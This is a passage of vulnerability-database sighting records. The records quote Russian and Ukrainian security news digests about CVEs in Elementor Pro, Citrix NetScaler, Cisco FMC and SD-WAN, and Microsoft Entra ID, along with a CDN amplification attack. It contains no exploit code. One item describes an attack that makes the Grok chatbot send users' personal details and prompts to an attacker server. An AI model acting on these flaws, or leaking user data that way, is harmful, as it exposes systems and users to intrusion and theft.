\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-23T00:00:46.650370Z"}, {"uuid": "01702d53-79f7-494c-afc5-f1d43c8c769b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/proxy_bar/3185", "content": "CVE-2026-20127\n*\nCisco-SD-WAN-Preauth-RCE\n\nwar", "creation_timestamp": "2026-07-21T00:00:25.100727Z"}, {"uuid": "7be379d1-0b0f-4859-a2c9-c02aaeb7ae52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/proxy_bar/3135", "content": "CVE-2026-20841 - Windows notepad.exe RCE\n*\nPoC", "creation_timestamp": "2026-07-21T00:00:25.412935Z"}, {"uuid": "9b7a4c32-09a5-4db9-a595-8aa63ce917da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-21T00:00:36.269171Z"}, {"uuid": "b28944a8-a035-4f1a-a694-4443b9d3aefa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/9753", "content": "Cisco Fixes Actively Exploited Zero-Day CVE-2026-20045 in Unified CM and Webex \u2013 thehackernews.com\n\nThu, 22 Jan 2026 12:06:00", "creation_timestamp": "2026-07-21T00:00:22.566649Z"}, {"uuid": "b136f3e3-2e96-4c23-9fb8-dedcda620afa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10454", "content": "Cisco SD-WAN Zero-Day CVE-2026-20127 Exploited Since 2023 for Admin Access \u2013 thehackernews.com\n\nThu, 26 Feb 2026 14:13:00", "creation_timestamp": "2026-07-21T00:00:21.790434Z"}, {"uuid": "3c8ab30f-d998-465b-a72f-cf646a9d4ced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/RMRFgroup/357", "content": "Cisco \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0443 \u0441\u0435\u0431\u0435 50 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, 2 \u0437 \u043d\u0438\u0445 \u043c\u0430\u044e\u0442\u044c \u0440\u0435\u0439\u0442\u0438\u043d\u0433 10 CVSS\n\n\u0412\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0432:\n- Adaptive Security Appliance (ASA) \u2014 \u043a\u043b\u0430\u0441\u0438\u0447\u043d\u0438\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440 \u0456\u0437 \u0432\u0456\u0434\u0441\u0442\u0435\u0436\u0435\u043d\u043d\u044f\u043c \u0441\u0442\u0430\u043d\u0443;\n- Secure FTD (Firewall Threat Defense) \u2014 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440, \u0449\u043e \u043f\u043e\u0454\u0434\u043d\u0443\u0454 ASA \u0437 \u0456\u043d\u0448\u0438\u043c\u0438, \u0431\u0456\u043b\u044c\u0448 \u043f\u0440\u043e\u0441\u0443\u043d\u0443\u0442\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0456\u044f\u043c\u0438;\n- Secure Firewall Management Center (FMC) \u2014 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u043e\u043c \u0442\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0432\u0456\u0434 \u0437\u0430\u0433\u0440\u043e\u0437 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0430;\n\n\u0417\u0440\u043e\u0437\u0443\u043c\u0456\u043b\u043e, \u0449\u043e \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0432\u0436\u0435 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456, \u0430 \u0457\u0445 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043d\u0435 \u043c\u0430\u0454 \u043d\u0430\u0434\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u0434\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u2014 Cisco \u0440\u0430\u0437 \u043d\u0430 \u043f\u0456\u0432 \u0440\u043e\u043a\u0443 \u0432\u0438\u044f\u0432\u043b\u044f\u0454 \u0446\u0456\u043b\u0443 \u043a\u0443\u043f\u0443 \u043d\u043e\u0432\u0438\u0445 \u0434\u0438\u0440\u043e\u043a \u0443 \u0446\u0438\u0445 \u0442\u0440\u044c\u043e\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0430\u0445, \u0442\u0430 \u0456 \u043b\u0438\u0448\u0435 \u0434\u0435\u044f\u043a\u0456 \u0437 \u043d\u0438\u0445 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043b\u0438\u0432\u0456, \u0430 \u0449\u0435 \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f FMC:\n- CVE-2026-20079 \u0456 CVE-2026-20131 \u043e\u0442\u0440\u0438\u043c\u0430\u043b\u0438 \u043d\u0430\u0439\u0432\u0438\u0449\u0438\u0439 \u043c\u043e\u0436\u043b\u0438\u0432\u0438\u0439 \u0431\u0430\u043b \u0441\u0435\u0440\u0439\u043e\u0437\u043d\u043e\u0441\u0442\u0456 10 \u0437 10 \u0437\u0430 \u0448\u043a\u0430\u043b\u043e\u044e CVSS;\n- CVE-2026-20079 \u0441\u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u043e\u043c, \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u043c \u043f\u0456\u0434 \u0447\u0430\u0441 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f. \u0417\u0430 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u043e\u044e \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u043f\u0456\u0434\u0456\u0431\u0440\u0430\u043d\u0438\u0445 HTTP-\u0437\u0430\u043f\u0438\u0442\u0456\u0432, \u043c\u043e\u0436\u043d\u0430 \u043e\u0431\u0456\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044e, \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0438 \u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438, \u044f\u043a\u0456 \u043d\u0430\u0434\u0430\u044e\u0442\u044c \u0457\u043c root-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0457 \u043e\u043f\u0435\u0440\u0430\u0446\u0456\u0439\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 FMC;\n- CVE-2026-20131 \u043c\u0430\u0454 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u0437\u0430\u0445\u0438\u0449\u0435\u043d\u043e\u0457 \u0434\u0435\u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u0430\u0446\u0456\u0457. \u042f\u043a\u0449\u043e \u043d\u0430\u0434\u0456\u0441\u043b\u0430\u0442\u0438 \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0439 \u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0438\u0439 Java-\u043e\u0431'\u0454\u043a\u0442 \u0434\u043e \u0432\u0435\u0431-\u0456\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f FMC, \u0432\u0456\u043d \u043c\u043e\u0436\u0435 \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u043a\u043e\u0434 \u0456 \u043f\u043e\u0442\u0435\u043d\u0446\u0456\u0439\u043d\u043e \u043f\u0456\u0434\u0432\u0438\u0449\u0438\u0442\u0438 \u0441\u0432\u043e\u0457 \u043f\u0440\u0438\u0432\u0456\u043b\u0435\u0457 \u0434\u043e \u0440\u0456\u0432\u043d\u044f root.", "creation_timestamp": "2026-07-21T00:00:22.091892Z"}, {"uuid": "c659f681-78a0-403d-8d21-b4c085ec46f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/RMRFgroup/357", "content": "Cisco \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0443 \u0441\u0435\u0431\u0435 50 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, 2 \u0437 \u043d\u0438\u0445 \u043c\u0430\u044e\u0442\u044c \u0440\u0435\u0439\u0442\u0438\u043d\u0433 10 CVSS\n\n\u0412\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0432:\n- Adaptive Security Appliance (ASA) \u2014 \u043a\u043b\u0430\u0441\u0438\u0447\u043d\u0438\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440 \u0456\u0437 \u0432\u0456\u0434\u0441\u0442\u0435\u0436\u0435\u043d\u043d\u044f\u043c \u0441\u0442\u0430\u043d\u0443;\n- Secure FTD (Firewall Threat Defense) \u2014 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440, \u0449\u043e \u043f\u043e\u0454\u0434\u043d\u0443\u0454 ASA \u0437 \u0456\u043d\u0448\u0438\u043c\u0438, \u0431\u0456\u043b\u044c\u0448 \u043f\u0440\u043e\u0441\u0443\u043d\u0443\u0442\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0456\u044f\u043c\u0438;\n- Secure Firewall Management Center (FMC) \u2014 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u043e\u043c \u0442\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0432\u0456\u0434 \u0437\u0430\u0433\u0440\u043e\u0437 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0430;\n\n\u0417\u0440\u043e\u0437\u0443\u043c\u0456\u043b\u043e, \u0449\u043e \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0432\u0436\u0435 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456, \u0430 \u0457\u0445 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043d\u0435 \u043c\u0430\u0454 \u043d\u0430\u0434\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u0434\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u2014 